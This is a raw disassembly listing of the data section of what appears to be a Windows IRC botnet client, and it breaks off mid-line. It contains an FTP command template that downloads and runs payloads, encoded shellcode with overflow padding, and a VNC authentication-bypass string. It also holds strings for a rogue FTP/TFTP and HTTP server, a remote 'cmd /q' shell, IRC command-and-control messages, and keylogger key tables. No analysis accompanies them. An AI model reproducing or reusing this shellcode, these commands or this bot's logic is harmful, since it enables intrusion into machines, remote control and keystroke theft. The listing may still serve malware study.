&echo get %s >>' ; DATA XREF: sub_40DFE3+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao align 10h word_433C00 dw 1 ; DATA XREF: ___:0040E211r align 4 dword_433C04 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C65+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438368o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00438374o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_433EEC db 2Dh ; - ; DATA XREF: sub_40F0D6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo ; sub_41A4D2+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D6+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o ; sub_41AA43+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo align 4 unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_43416C db 2Dh ; - ; DATA XREF: sub_40F6B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_4341A0: ; DATA XREF: sub_40F6B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96B+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o ; sub_40F96B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o ; sub_40F96B+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96B+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434648 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o dword_43468C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_4346F4 db 2Dh ; - ; DATA XREF: ___:00410494o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43473C db 2Dh ; - ; DATA XREF: ___:004106E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_43477C db 2Dh ; - ; DATA XREF: ___:0041061Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_4347C0 db 2Dh ; - ; DATA XREF: ___:004109A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4347EC db 2Dh ; - ; DATA XREF: ___:00410982o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434818 db 2Dh ; - ; DATA XREF: ___:00410962o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o align 4 unk_434854 db 2Dh ; - ; DATA XREF: ___:004108A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434880 db 2Dh ; - ; DATA XREF: sub_4109C5:loc_410A0Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4348AC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434A48 db 2Dh ; - ; DATA XREF: sub_410CD6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434A7C db 2Dh ; - ; DATA XREF: sub_410CD6+59o ; sub_410CD6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434AEC db 2Dh ; - ; DATA XREF: sub_410E27+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434B6C db 2Dh ; - ; DATA XREF: sub_410F20+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co align 4 dword_434BAC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_43551C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co align 4 asc_43554C: ; DATA XREF: ___:00411C40o unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435E10 dd offset off_435E0C dd offset off_435E08 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 